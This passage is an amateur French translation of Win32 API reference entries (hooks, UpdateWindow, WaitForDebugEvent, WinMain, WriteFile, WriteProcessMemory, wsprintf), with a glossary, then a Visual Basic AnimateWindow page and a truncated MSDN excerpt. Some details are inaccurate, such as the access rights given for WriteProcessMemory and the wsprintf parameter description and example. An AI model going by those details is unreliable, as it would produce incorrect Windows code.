                 MessageBox, un Menu, ou dans une Barre de Scrolling. Cette
                 procédure de hook espionne uniquement certains messages de
                 l'applications dans le système. Pour plus d'informations,
                 voyez la description de la procédure de hook SysMsgProc.

hkprc 	 	 Est l'adresse de la procédure de hook à enlever.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur se
produit.

Voir Aussi

SetWindowsHook, UnhookWindowsHookEx


UnhookWindowsHookEx (Win32)

BOOL UnhookWindowsHookEx(hhk)

HHOOK hhk;	/* handle de la procédure de hook à enlever */
La fonction UnhookWindowsHookEx enlève une procédure de hook qui avait été installée dans une chaîne de hook par la fonction SetWindowsHookEx.

Paramètre 	 Description

hhk 	 	 Identifie le hook à supprimer. Ce paramètre est le handle du hook obtenu après
         un appel précédent de la fonction SetWindowsHookEx.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès ou FALSE si une erreur
s'est produite.

Commentaires

La procédure de hook  est encore en état d'appeler un autre lien même après que la fonction
UnhookWindowsHookEx ait retournée. Si la procédure de hook n'est pas en train d'être appelée
par un concurrent, la procédure de hook est immédiatement enlevée après le retour de la
fonction UnhookWindowsHookEx.

Voir Aussi

SetWindowsHookEx, UnhookWindowsHook


UpdateWindow (Win32)

BOOL UpdateWindow(hwnd)

HWND hwnd;	/* handle de la fenêtre */

Cette fonction met à jour (rafraîchit) le secteur client de la fenêtre donnée en envoyant le
message WM_PAINT à la fenêtre si le Secteur Client n'est pas vide. La fonction UpdateWindow
envoie un message WM_PAINT directement à la 'procédure de fenêtre' de la fenêtre donnée,
contournant la file d'attente des messages de l'application. Si le Secteur Client est vide,
aucun message n'est envoyé.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre à rafraîchir (actualiser).

Retours

Le retour est TRUE pour un succès, et FALSE pour un échec.

Voir Aussi

InvalidateRgn, InvalidateRect


V o c a b u l a i r e

Vous verrez que certains termes sont extrêmement difficiles à traduire. En fait il y en a même pour lesquels je n'ai pas réellement trouvé d'équivalent dans notre langue.

CALLBACK (fonction):

Une fonction CallBack, parfois vous trouverez peut-être 'fonction de rappel de service' mais je pense que ce n'est vraiment pas une bonne traduction, ça n'a pas de sens. Seul le terme Anglais en a. Voici une définition de SharpSighted :
Prenons l'exemple des fonctions du type "EnumXXXX", elle fournissent une liste d'objets XXXX. Aussi pour faciliter le traitement on définis lors de l'appel de cette fonction, une autre fonction (LA fonction Callback) dont les paramètres d'entré sont définis par Windows, et cette fonction sera appelée pour chaque élément trouvé. Concrètement on appelle EnumThreadWindows(www,mycallbackproc,yyyy) on crée une fonction callback d'après le prototype qui lui correspond (on n'est pas obligé de l'appeler EnumThreadWndProc) : BOOL CALLBACK Mycallbackproc (HWND,LPARAM).
SetTimer fait elle aussi appelle à une fonction CallBack...
Plus d'infos

CHILD WINDOW:

Voir Fenêtre Enfant ou Control.

CONTROL

Un Control est une 'fenêtre enfant', c'est la même chose. Se sont tous les petits objets rajoutés par dessus la fenêtre principale (la fenêtre parente). Se sont par exemple les boutons, les zone de saisie de texte (boîtes d'édition), du texte insurlignable (Static)...

FOCUS (centre d'entrée)

Une fenêtre ou un Control reçoit le Focus lorsqu'il prend la main. Un exemple: dans une zone de saisie de texte (un Edit Control) si vous cliquez en dehors de lui avec la souris, vous ne pouvez plus rien écrire dedans. Si vous cliquez dedans et tapez sur le clavier il y a écriture car il a récupéré le Focus.

FENÊTRE ENFANT:

Une fenêtre enfant est une fenêtre appartenant à une fenêtre parente, par exemple un programme possède une fenêtre principale (parente) et à partir de cette fenêtre on peut en ouvrir d'autres (les fenêtres enfants). Mais c'est plus global que ça encore... Une fenêtre enfant peut très bien être un simple objet comme un Bouton ou une zone d'édition (Edit Control) appartenant à une fenêtre principale.
En règle général, la fenêtre parente est une fenêtre toute simple dépourvue de tout, elle est vide..., tous les autres objets rajouté par dessus (qui lui appartiennent) sont ses (objets) ou fenêtres enfants.
Une fenêtre parente qui possède ses propre enfants peut elle-même être un enfant d'une fenêtre de plus haut niveau qu'elle.

INSTANCE

C'est la région privée appartenant à l'application, s'étendant d'une adresse vers le 4Mo jusqu'à 2Go. C'est le secteur où les applications win32 (les programmes) sont exécutés. Chaque process win32 aura son propre espace privé de 2Go (moins 4 Mo).
Vous verrez souvent : 'Application Instance' ou l'Instance de l'Application :
C'est l'adresse mémoire de base où a été chargé l'exe dans l'espace d'adressage du process, en général c'est 0x400000h
Vous trouverez aussi : 'Procedure Instance' : C'est l'adresse mémoire de la procédure ou de la fonction dans l'espace d'adressage du process.

OVERLAPPED (fenêtre):

Une fenêtre overlapped, comment expliquer ça... Imaginez un programme qui possède une fenêtre principale avec tout en haut les trois boutons Réduction, Agrandissement, Fermeture. Dans cette fenêtre il est possible d'incorporer plusieurs autres petites fenêtres du même type que la principale. Les fenêtres Overlapped sont ces fenêtres contenues dans une principale. Ça sert pour l'Interface de Documents Multiples (MDI).
Plus généralement une fenêtre overlapped est une fenêtre qui n'est pas ni ouverte au maximum, ni au minimum (iconique), elle est entre ces deux états.

PLACEHOLDER:

On pourrait remplacer ça par 'surnom de remplacement' mais c'est pas tout à fait ça. Les subtilités m' échappent.

SECTEUR CLIENT

Le Secteur Client est la zone d'une page (ou d'un programme) sur laquelle on peut afficher du texte ou des images...par exemple!

TEMPLATE (Calibre)

Le Template d'une DialogBox est une structure. (c'est la structure DLGITEMTEMPLATE). Le template, c'est l'armature qui définit une DialogBox : son 'Style', le nombre d'objets qu'elle possède, et ses dimensions et position.


Retour <-- Vers Partie 1		  			  	Vers Partie 2 -->Retour

WaitForDebugEvent (Win32)

BOOL WaitForDebugEvent (lpde, dwTimeout)

LPDEBUG_EVENT lpde; 	 /* adresse de la structure sur les informations d'événements */
DWORD dwTimeout; 	 /* temps en milliseconde pendant lequel on attend un événement */

La fonction WaitForDebugEvent attend qu'un 'debugging événement' ne se produise dans un process
qui est en train de se faire débugguer.

Paramètre 	 Description

lpde 	 	 Pointe sur la structure DEBUG_EVENT laquelle est remplie d'une information, à
         savoir, quel type de 'debugging événement' s'est produit dans le programme
         cible.

dwTimeout 	 Représente le temps en milliseconde pendant lequel cette fonction voudra bien
         attendre qu'un 'debugging événement' ne se produise. Si dwTimeout est à zéro,
         cette fonction teste si elle trouve un 'debugging événement' puis retourne
         immédiatement. Si dwTimeout est à -1, la fonction ne retournera pas tant qu'un
         'debugging événement' ne se soit produit.

Retours

La valeur en retour est TRUE si la fonction était couronnée de succès, ou FALSE si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

Seulement le lien ayant créé le Process : 'idProcess' grâce à la fonction CreateProcess peut
appeler WaitForDebugEvent.

Voir Aussi

ContinueDebugEvent, DebugActiveProcess, DebugBreak, OutputDebugString

Retour <-- Vers Partie 1		  			  	Vers Partie 2 -->Retour


WindowFromPoint (Win32)

HWND WindowFromPoint(Point)

POINT Point;	/* structure POINT */

Cette fonction identifie la fenêtre qui contient le point spécifié; POINT doit spécifier des
coordonnées écran d'un point présent à l'écran.

Paramètre 	 Description

point 	 	 pointer sur la structure POINT, laquelle définit le point à vérifier.

Retours

La valeur en retour identifie la fenêtre dans laquelle le point se trouve. Cette valeur est
NULL si aucune fenêtre n'existe sous ce point donné.

Voir Aussi

ChildWindowFromPoint


WindowProc

La fonction WindowProc est une fonction CallBack, laquelle traite les messages envoyés à une fenêtre.

LRESULT CALLBACK WindowProc (
HWND HWND, // handle de la fenêtre
UINT uMsg, // identificateur de message
wParam wParam, // premier paramètre de message
LPARAM LPARAM // deuxième paramètre de message
);

Paramètres

hwnd

Identifie la fenêtre (son handle).

uMsg

Spécifie le message.

wParam

Spécifie une information complémentaire pour le message. Le contenu de ce paramètre dépend de la valeur du paramètre uMsg.

lParam

Spécifie une information complémentaire pour le message. Le contenu de ce paramètre dépend de la valeur du paramètre uMsg.

Valeurs de Retour

La valeur en retour est le résultat du traitement du message et dépend du message envoyé.

Remarques

WindowProc est un placeholder pour un nom d'application-définit.

Ajout

Cette fonction recoit tous les messages définis par les paramètres de la fonction GetMessageA. Elle doit chercher les messages qui l'interessent, par les paramètres uMsg, lParam et wParam. Si elle traite le message en cours, elle doit retourner 0, sinon elle doit appeler la fonction DefWindowProc et retourner la valeur donnée par cette dernière.


WinMain

La fonction WinMain est appelée par le système en tant que point d'entrée initial pour les programmes Win32.

int WINAPI WinMain (
HINSTANCE HINSTANCE, // handle de l'instance application
HINSTANCE hPrevInstance, // handle de l'instance précédent
LPSTR lpCmdLine, // pointer de la ligne de commande
int nCmdShow // affiche la fenêtre dans l'état choisi
);

Paramètres

hInstance

Identifie le courant instance de l'application.

hPrevInstance

Identifie l'instance de la précédente application. Pour une application fonctionnant sous Win32, ce paramètre est toujours NULL. Lorsque vous avez besoin de détecter si d'autre instances existe déjà , créez un mutex en utilisant la fonction CreateMutex. Si la fonction GetLastError renvoie ERROR_ALREADY_EXISTS, c'est qu'une instance autre que votre application existe déjà (il vient de créé un mutex).

lpCmdLine

Représente une chaîne de caractères terminée par un null, laquelle est le nom de ligne de commande (la CommandLine) de votre application.

nCmdShow

Indique de quelle manière la fenêtre doit être affichée. Ce paramètre peut être une des valeurs suivantes :

Signification des Valeurs:

SW_HIDE Cache la fenêtre et active une autre fenêtre.
SW_MINIMIZE Réduit au minimum la fenêtre indiquée et active la fenêtre de plus haut niveau dans la liste du système.
SW_RESTORE Active et montre une fenêtre. Si la fenêtre est réduite au minimum ou bien est maximisée, Windows la rétablit à sa taille originale et la repositionne (Idem pour SW_SHOWNORMAL).
SW_SHOW Active une fenêtre et l'affiche à sa taille et position actuelle.
SW_SHOWMAXIMIZED Active une fenêtre et l'affiche comme une fenêtre maximisée.
SW_SHOWMINIMIZED Active une fenêtre et l'affiche comme une icône.
SW_SHOWMINNOACTIVE Affiche une fenêtre comme une icône. Si une fenêtre est déjà active, elle reste active.
SW_SHOWNA affiche une fenêtre dans son état actuel. La fenêtre active reste active.
SW_SHOWNOACTIVATE affiche une fenêtre à sa taille et position la plus récente. La fenêtre active reste active.
SW_SHOWNORMAL Active et affiche une fenêtre. Si la fenêtre est réduite au minimum ou maximisée, Windows la rétablit à sa taille et position originale (Idem pour SW_RESTORE).

Attention : Si Aucun de ces paramètres n'influencent le type d'affichage de votre fenêtre, c'est qu'une fonction ShowWindow quelque par inibe l'affichage de Winmain. Placez alors un de ces mêmes paramètres dans showWindow pour palier à ce problème.

Valeurs de Retour

Si la fonction réussit, en se terminant quand elle reçoit un message WM_QUIT, elle doit renvoyée la valeur de sortie contenue dans le paramètre wParam de ce message. Si la fonction se termine avant l'entrée dans la boucle de message, elle doit retourner un 0.

Remarques

WinMain initialise une application, affiche sa fenêtre principale et entre ensuite dans une boucle de traitement de messages "réception et réponses" laquelle est 'la structure de control' de plus haut niveau de votre application. La boucle de message se termine lorsqu'un message WM_QUIT est reçu. À ce sujet, WinMain sort de l'application, en renvoyant la valeur du paramètre wParam qui avait été passé pour le message WM_QUIT. Si la boucle de message reçoit un message WM_QUIT suite à l'appel de la fonction PostQuitMessage, la valeur de wParam est la valeur du paramètre nExitCode de la fonction PostQuitMessage. Pour plus d'information, voir la Création d'une Boucle de Message.


WriteFile (Win32)

BOOL WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped)

HANDLE hFile;		 	/* Fichier dans lequel on écrit	*/
CONST VOID lpBuffer;	   	/* buffer contenant les données à écrire */
DWORD nNumberOfBytesToWrite;	/* nombre d'octets à écrire */
LPDWORD lpNumberOfBytesWritten;	/* buffer recevant le nombre d'octets réellement écrits */
LPOVERLAPPED lpOverlapped;	/* structure nécessaire pour les entrées/sorties overlapped */

La fonction WriteFile écrit des données se trouvant dans un buffer, vers un fichier. La fonction commence à écrire les données dans le fichier à la position indiquée par le pointer de fichier 'hFile'. Après que l'écriture soit achevée, le pointer de fichier est ajusté à la valeur du nombre d'octets réellement écrits, sauf si le fichier avait été ouvert avec le Flag FILE_FLAG_OVERLAPPED. Si l'handle du fichier a été créé pour des (entrées-sorties enchevauchée) I/O Overlapped, l'application doit réajuster la position du pointer de fichier après l'écriture.

Paramètre Description

hFile Identifie le fichier dans lequel on écrit. L'handle du fichier a dû avoir été créé avec l'accès au fichier GENERIC_WRITE (dans la fonction CreateFile).

lpBuffer Pointe sur le buffer qui contient les données qui doivent être transférer vers le fichier.

nNumberOfBytesToWrite Spécifie le nombre d'octets qui seront écrit dans le fichier. À la différence du MS-DOS, une valeur de zéro sera interprétée comme une non-écriture.

lpNumberOfBytesWritten Spécifie le nombre d'octets réellement écrits par cet appel. WriteFile met cette valeur à zéro avant toute action ou la vérification d'erreur.

lpOverlapped Pointe sur une structure OVERLAPPED. Cette structure est exigée si hFile a été ouvert avec le Flag FILE_FLAG_OVERLAPPED.
- Si hFile a été créé avec FILE_FLAG_OVERLAPPED et que lpOverlapped est NULL, alors la position actuelle du pointer de fichier 'hFile' est inconnue, WriteFile renverra un FALSE et la fonction GetLastError renverra ERROR_INVALID_PARAMETER.
- Si hFile n'a pas été créé avec FILE_FLAG_OVERLAPPED et que lpOverlapped est NULL, alors l'écriture débute à la position de fichier actuelle et WriteFile ne retourne pas avant que l'opération ne soit achevée.
- Si hFile a été créé avec le Flag FILE_FLAG_OVERLAPPED et que lpOverlapped n'est pas NULL, alors l'écriture débute à la suite des données repérées dans la structure OVERLAPPED et WriteFile est dans ce cas capable de retourner avant que les opérations d'écriture ne soit achevées. Dans ce cas, WriteFile retourne FALSE et la fonction de GetLastError renvoie ERROR_IO_PENDING. Ce qui permet à l'utilisateur de continuer à traiter tandis que les opérations d'écriture s'achèvent. L'événement indiqué dans la structure OVERLAPPED est mis à l'état signalé pour achever les opérations d'écriture.
- Si hFile n'a pas été créé avec le Flag FILE_FLAG_OVERLAPPED et que lpOverlapped n'est pas NULL, alors les opérations d'écriture débutent à la suite des autres données repérées dans la structure OVERLAPPED et WriteFile ne retourne pas avant que les opérations d'écriture ne soient achevées.

Retours

La valeur de retour est TRUE si la fonction s'est déroulée avec succès, ou FALSE si une erreur s'est produite. Employez la fonction GetLastError pour obtenir des informations à propos de l'erreur étendue.

Commentaires

Cette fonction échouera si une partie du fichier est fermée par un autre process et les écritures Overlapperont la partie fermée.

Les caractères peuvent être écrits dans le buffer d'écran en utilisant la fonction WriteFile avec l'handle de la console de sortie (du périphérique vidéo). Le comportement exact de la fonction est déterminé par le mode de console (mode 640 - 480, 800 - 600…). Les données seront écrites à la position actuelle (la position du curseur). La position du curseur sera mise à jour après écriture.

À la différence du MS-DOS, si nNumberOfBytesToWrite est zéro, WriteFile ne tronque pas ni n'augmente la taille du fichier. Employez la fonction SetEndOfFile pour tronquer ou étendre un fichier.

Quand une application utilise la fonction WriteFile pour écrire dans un pipe, l'opération d'écriture ne peut pas s'achever si le buffer du pipe est saturé. L'opération d'écriture s'achèvera lorsqu'une opération de lecture (avec l'utilisation de la fonction ReadFile) fera de l'espace dans le buffer disponible en le vidant.

Voir Aussi

CreateFile, GetOverlappedResult, ReadFile, SetEndOfFile, WriteFileEx


WritePrivateProfileString (Win32)

BOOL WritePrivateProfileString(lpszSection, lpszEntry, lpszString, lpszFile)

LPCTSTR lpszSection;	/* adresse du nom de la section */
LPCTSTR lpszEntry;	/* adresse du nom d'entée */
LPCTSTR lpszString;	/* adresse de la chaîne de caractère à ajouter */
LPCTSTR lpszFile;	/* adresse du nom du fichier d'initialisation */
La fonction WritePrivateProfileString copie(écrit) une chaîne de caractères dans la section indiquée du fichier d'initialisation indiqué (dans le fichier *.ini spécifié).

Paramètre 	 Description

lpszSection 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle spécifie la
         section dans laquelle la chaîne sera écrite. Si la section n'existe pas, elle
         est créée. Le nom de la section est indifférent aux majuscules-minuscules,
         c'est pourquoi la chaîne de caractères peut comporter n'importe quelle
         combinaison de lettres majuscules ET minuscules.
lpszEntry 	 Pointe sur une chaîne de caractères terminée par un nul, contenant l'entrée qui
         doit être associée à la chaîne de caractères. Si l'entrée n'existe pas dans la
         section indiquée, elle est créée. Si ce paramètre est NULL, la section entière,
         en incluant toutes les entrées de cette section, est supprimée.
lpszString 	 Pointe sur La chaîne de caractères terminée par un nul  qui doit être écrite
         dans le fichier. Si ce paramètre est NULL, l'entrée indiquée par le paramètre
         lpszEntry est supprimée.
lpszFile 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle n'est autre
         que le nom du fichier d'initialisation. (*.ini)

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Utilisez la fonction GetLastError pour obtenir des 'informations à propos de
l'erreur étendue.

Commentaires
Pour améliorer les performances, Windows planque une version du fichier d'initialisation ouvert le plus récemment . Si le nom de ce fichier est spécifié et que les trois autres paramètres sont NULL, alors Windows vide sa cachette de fichiers *.ini.

Les sections dans le fichier d'initialisation ont la forme suivante :

[Section]
Entréé=La Chaîne de charactères
.
.
.
Si lpszFile ne contient pas la totalité du chemin allant jusqu'au nom de fichier de ce fichier, alors WritePrivateProfileString lance une recherche dans le répertoire 'Windows'. Si le fichier n'existe pas, cette fonction crée le fichier dans le répertoire Windows.
Si lpszFile contient le chemin en entier (avec le nom du fichier) et que le fichier n'existe pas, cette fonction crée le fichier. Le répertoire indiquée doit déjà exister.
Une application quelconque doit utiliser un fichier d'initialisation privé pour enregistrer des informations qui n'affecte qu'elle. Ceci améliore les performances de cette application et de Windows lui-même en réduisant la quantité d'information que Windows doit lire lorsqu'il accède au fichier d'initialisation. L'exception à cette règle sont les Devices Drivers (les VxD) qui doivent absolument utiliser le fichier SYSTEM.INI, pour réduire le nombre de fichiers *.ini que Windows doit ouvrir et lire pendant le processus de démarrage.

Une application peut utiliser la fonction WriteProfileString pour ajouter une chaîne de caractère dans le fichier WIN.INI.
La fonction WritePrivateProfileString peut être utilisée soit en tant que fonction à caractère large (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

WriteProfileString


Retour <-- Vers Partie 1		  			  	Vers Partie 2 -->Retour

WriteProcessMemory (Win32)

BOOL WriteProcessMemory (hProcess, lpBaseAddress, lpBuffer, cbWrite, lpNumberOfBytesWritten)

HANDLE hProcess; 	 	  /* process dans lequel on écrit en mémoire 	 */
LPVOID lpBaseAddress; 	 	  /* addr où on commence à écrire 	 	 */
LPVOID lpBuffer; 	 	  /* buffer pour placer nos données à écrire     */
DWORD cbWrite; 	 		  /* nombre total d'octets à écrire 	 	 */
LPDWORD lpNumberOfBytesWritten;	  /* nombre d'octets réellement écrits 	 	 */

La fonction WriteProcessMemory sert à écrire dans la mémoire d'un process cible.

Paramètre 	 Description

hProcess 	 Est l'handle d'un process déjà ouvert pour qu'on puisse écrire dans sa mémoire.
         Cet handle a dû être obtenu avec PROCESS_VM_READ pour accèder au process.
lpBaseAddress 	 Représente l'adresse de base (00400000) du process cible dans lequel
         on souhaite ècrire. Avant que n'importe quel transfert de données n'arrive, le
         système vérifie que toutes les données dans l'adresse de base et la taille
         indiquée sont accessibles pour un accès en écriture. Si c'est le cas, on
         obtient bien les retours de fonction. Sinon, la fonction échoue.
lpBuffer	 Est l'adresse du buffer où on a placé les données qui vont êtres fournit lors
         de l'écriture dans le process cible.
cbWrite 	 Représente le nombre d'octets à écrire dans le process cible.
lpNumberOfBytesWritten 	 Un paramètre facultatif, qui si il est spécifié reçoit le nombre
         réel d'octets transférés dans le process cible. Il peut être différent de la
         valeur de cbWrite dans le cas où on tombe sur de données inaccessibles en
         écriture. Si ça arrive, la fonction renvoie un False, et GetLastError retourne
         une "courte information" à propos de l'indicateur d'erreur.

Retours

La valeur de retour est TRUE si la fonction est couronnée de succès, ou False si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos
de l'erreur étendue.

Commentaires

Cette fonction copie les données du buffer apparenant à votre process actuel vers une zone
d'adresses appartenant à un process cible. N'importe quel process ayant un handle avec l'accès
PROCESS_VM_WRITTEN, peut être réécrit en appelant la fonction WriteProcessMemory. Le process
dans lequel on souhaite écrire des données ne doit pas être en train de se faire débugguer par
un autre programme.

Voir Aussi

ReadProcessMemory

Retour <-- Vers Partie 1		  			  	Vers Partie 2 -->Retour


WsPrintF (Win32)

int cdecl wsprintf (lpOut, lpFmt [[, argument]...)

LPTSTR lpOut;
LPCTSTR lpFmt;

La fonction wsprintf converti un ensemble de données et le stocke dans un Buffer. Chaque argument (s'il y en a plusieurs) est converti, et chaque donnée d'après ce qu'elle représente prend le format correspondant (ex soit des chiffres ou du texte). La fonction ajoute un null à la fin des chaînes de caractères de type texte, mais ce null ne fait pas parti du reste du texte.

En clair, cette fonction peut convertir un texte(100) en un nombre decimal 100d ou en un nombre hexadécimal 64h, ou faire tout à fait le contraire. D'autres modes de conversion sont prévus.

Paramètre Description

lpOut Pointe sur une chaîne de caractères terminée par un NULL, qui représente le format de donnée.
lpFmt Pointe sur une chaîne de caractères terminée par un NULL, qui contient la chaîne de caractères du contrôle de format.
argument Représente un ou plusieurs arguments facultatifs. Le nombre et le type d'arguments dépendent des ordres des caractères de contrôle de format correspondants dans lpFmt.

Retours

La valeur de retour est le nombre de caractères stockés dans lpOut, sans compter le null de terminaison. Si une erreur se produit, la fonction renvoie une valeur plus petite que la longueur de lpFmt.

Commentaires

Le paramètre lpFmt concernant le format sert aussi à spécifier le format des données de sorties. Pour fixer un format de sortie on doit toujours placer le signe 'pourcentage'(le %) puis une lettre qui détermine ce format. Ci-dessous voici les format disponibles :

Une spécification de format a la forme suivante :

%[-][#][0][width][.precision]type

Chaque paramètre servant au format est un caractère simple ou un numéro signifiant une option de format particulier. Les types de caractères, qui apparaissent après le dernier paramètre de format facultatif, déterminent si l'argument associé est interprété en tant que texte, ou nombre. Le plus simple type de format contient seulement le signe % et un type de caractère (par exemple, %s). Les paramètres facultatifs contrôlent d'autres aspects du format. Voici leur signification :

Paramètres Descriptions
-	 La donnée de sortie est remplie avec des blancs (si c'est du texte) ou des zéros
     (si c'est un nombre) aux emplacement où vous avez mis ce - .
#	 Place le Préfixe hexadécimal '0x' (minuscule) ou 0X (majuscule).
0	 La donnée de sortie est comblée avec des zéros pour remplir entièrement un espace
     donné. Par exemple si on récupère de nombres de 6 chiffres et que la valeur en sortie
     récupérée est 152 on obtiendra 000152. Si ce paramètre est omis, la valeur de sortie
     est comblée avec de simples espaces blancs.
width	 Indique le nombre minimum de caractères de la donnée en sortie. Le paramètre Width
     est un entier positif. Cette spécification de largeur ne cause jamais un tronquage de
     la valeur de sortie; si le nombre de caractères dans la valeur de sortie est plus
     grand que le Width indiqué, ou bien si le paramètre Width n'est pas présent, alors
     tous les caractères de la valeur seront quand même imprimés.
Precision Indique le nombre minimum de chiffres de la donnée en sortie. Si la précision du
     nombre de chiffres est inférieur à la précision indiquée par 'Precision', alors la
     valeur de sortie est comblée à gauche avec des zéros. La valeur n'est pas tronquée
     quand le nombre de chiffres excède la précision indiquée. Si la précision indiquée
     est 0, omise, ou bien si le signe '.' apparaît sans chiffre qui à sa suite, alors la
     précision est mise à 1. Pour les chaînes de caractères, la sortie indique le nombre
     maximal de caractères.
Type	 Ce paramètre définit la nature (le format) de la donnée en sortie, ça peut être une
     chaîne de caractères, ou un nombre. Ce paramètre peut être un des caractères suivants :

     Ordre		Signification

     c	 Insère un simple caractère.
     d, i 	 Insère un nombre entier décimal signé (donc 1 ou -1 par exemple).
     ld, li  Insère un nombre entier décimal signé long.
     u	 Insère un nombre entier non signé. (-1 n'existe pas).
     lu 	 Insère un nombre entier non signé long.
     lx, lX  Insère un nombre entier hexadécimal non signé long minuscules ou majuscules.
     s	 Insère une chaîne de caractères.
     ts 	 Insère une chaîne de caractères générique; c'est-à-dire une chaîne de
          caractères Unicode si wsprintf a été compilé avec le flag de compilation
         #define Unicode.
     tc 	 Insère un caractère générique; c'est-à-dire un simple caractère Unicode si
          wsprintf a été compilé avec le Flag de compilation  #define Unicode.
     ws 	 Insère une chaîne de caractères Unicode.
     wc 	 Insère un caractère Unicode.
Exemple d'utilisation :

NombreHexa dd 64h
Texte db "Le nombre %lx décimal vaut %li en décimal",0
Buffer db 50 dup (?)

invoke wsprintf, addr Buffer, addr Texte, NomHexa, NomHexa ;<-- Buffer est remplit avec 'Le nombre 64 hexadécimal vaut 100 en décimal'
invoke MessageBox, 0, addr Buffer, addr Buffer, 0

Voir Aussi

wvsprintf


Version 1.0

Index

Voici le contenu de chacun des Tutoials.

Tut1 : Les Bases
Tut2 : Les boîtes de message. (MessageBox)
Tut3 : Les boîtes de dialogue. (DialogBox)
Tut4 : Dessiner du texte. (Painting with Text)
Tut5 : Encore plus à propos des textes.(Taille, police...)
Tut6 : Les entrées clavier. (Saisie de texte)
Tut7 : Le contrôle de la Souris.
Tut8 : Le menu.
Tut9 : Child Window Controls.
Tut10 : Boîte de dialogue comme Fenêtre Principale.
Tut11 : Encore plus à propos des boîtes de dialogue.
Tut12 : Gestion de la mémoire et des fichiers d'entrée-sortie.
Tut13 : Fichiers à Mémoire Configurée.
Tut14 : Process.
Tut15 : Programmation Multi-liens.
Tut16 : Event Object.
Tut17 : Les DLL ou Bibliothèques de Liaison, Dynamiques.
Tut18 : Commandes Communes (Common Controls).
Tut19 : Dossiers organisés sous la forme d'un arbre.
Tut20 : Les Sousclassifications de Fenêtre.
Tut21 : Le Pipe.
Tut22 : Superclassification.
Tut23 : Icône de Barre de Taches.
Tut24 : Windows Hooks.
Tut25 : Un Simple Bitmap.
Tut26 : Splash Screen.
Tut27 : Les Bulles d'Information (Tooltip Control).
Tut28 : Win32 Debug API Partie 1/3.
Tut29 : Win32 Debug API Partie 2/3.
Tut30 : Win32 Debug API Partie 3/3.
Tut31 : Fichiers organisés sous la forme d'une liste.

REMARQUE:

Voici la toute première traduction des 31 premiers cours généraux d'Aczélion. Pourquoi avoir associée une version à cette traduction? Et bien simplement parce que je suis Français et que ma traduction ne sera forcément jamais exacte à 100%. En particulier pour ce qui est des trois Tutorials concernants les 'Win32 Debug APIs 1,2 et 3' ou j'ai fait une confusion entre le debugger et le debuggee. Donc s'il vous plait, oubliez ces 3 là pour cette première version.

MESSAGE POUR TOUS : dans le but de faire évoluer cette doc, je permet à chacun qui le souhaite de la retoucher et faire évoluer les versions pour corriger mes erreurs, mes imprécisions et autres.
Le mieux serait peu être de définir un site particulier où l'uploader, sinon il risque par exemple d'y avoir plusieurs versions 1.1 différentes un peu n'importe où, et ainsi de suite...

PS: N'essayez pas de me contacter avant la fin septembre 2000, je vais bien passer mon temps à surfer mais n'aurai plus d'ordi.

Morgatte@citeweb.net


Détail de l'API - Visual Basic Research Center

Vu dans ... http://docvb.free.fr

Retour à la liste des API
Fonction AnimateWindow

Declare Function AnimateWindow Lib "user32" ( _
ByVal hwnd As Long, _
 ByVal dwTime As Long, _
 ByVal dwFlags As Long) As Long
Versions :
. Windows 95/98 : A partir de 98
. Windows NT : Non
. Windows 2000/XP : Oui

Description :
Cette fonction a pour but d'afficher ou cacher une fenêtre en utilisant un effet spécial(fondu, roulement, implosion, explosion).
hwnd est le handle de la fenêtre sur laquelle on agit.
dwTime représente la durée de l'effet en millisecondes.
dwFlags est une combinaison des constantes ci-dessous.
En cas d'échec la fonction retourne 0, sinon une valeur différente de 0.

Remarque : pour utiliser AW_SLIDE, il faut préciser une (ou deux) directions.

Constante | Valeur | Définition
AW_HOR_POSITIVE | &H1 | Anime la fenêtre de gauche à droite.
AW_HOR_NEGATIVE | &H2 | Anime la fenêtre de droite à gauche.
AW_VER_POSITIVE | &H4 | Anime la fenêtre du haut vers le bas.
AW_VER_NEGATIVE | &H8 | Anime la fenêtre du bas vers le haut.
AW_CENTER | &H10 | Réduction de la fenêtre vers son centre (avec AW_HIDE), et inversement (avec AW_ACTIVATE).
AW_HIDE | &H10000 | Cache la fenêtre.
AW_ACTIVATE | &H20000 | Active la fenêtre.
AW_BLEND | &H80000 | Effet de "fondu" sur la fenêtre (si elle est au premier niveau).
AW_SLIDE | &H40000 | Fait "rouler" la fenêtre.

Exemple d'utilisation :

' (Exemple de Alain Quinet - alain.quinet@free.fr)

' Dans un module, vous définissez la fonction qui suit :

Private Declare Function AnimateWindow Lib "user32" ( _
ByVal hWnd As Long, _
ByVal dwTime As Long, _
ByVal dwFlags As Long) As Long

' Dans l'évènement Form_Load (ou Form_Activate) d'une feuille,
' vous tapez le code suivant :
Private Sub Form_Load()
' Cet appel de fonction fera s'afficher progressivement la
' fenêtre de son centre vers ses bords
Debug.Print AnimateWindow(Me.hWnd, 10000, &H10 Or &H20000)
End Sub

Retour à la liste des API
Visual Basic Research Center - (c) 2000/2002 - Webmaster : docvb (chez) free (point) fr


Vu dans ... https://msdn.microsoft.com/fr-fr/library/windows/desktop/ms632669(v=vs.85).aspx
Ce contenu n’est pas disponible dans votre langue. Voici la version anglaise.
Cette documentation est archivée et n’est pas conservée.

AnimateWindow function

Enables you to produce special effects when showing or hiding windows. There are four types of animation: roll, slide, collapse or expand, and alpha-blended fade.

Syntax

C++
Copier
BOOL WINAPI AnimateWindow(
  _In_ HWND  hwnd,
  _In_ DWORD dwTime,
  _In_ DWORD dwFlags
);

Parameters

hwnd [in]

Type: HWND

A handle to the window to animate. The calling thread must own this window.

dwTime [in]

Type: DWORD

The time it takes to play the animation, in milliseconds. Typically, an animation takes 200 milliseconds to play.

dwFlags [in]

Type: DWORD

The type of animation. This parameter can be one or more of the following values. Note that, by default, these flags take effect when showing a window. To take effect when hiding a window, use AW_HIDE and a logical OR operator with the appropriate flags.

Value Meaning
AW_ACTIVATE
0x00020000

Activates the window. Do not use this value with AW_HIDE.

AW_BLEND
0x00080000

Uses a fade effect. This flag can be used only if hwnd is a top-level window.

AW_CENTER
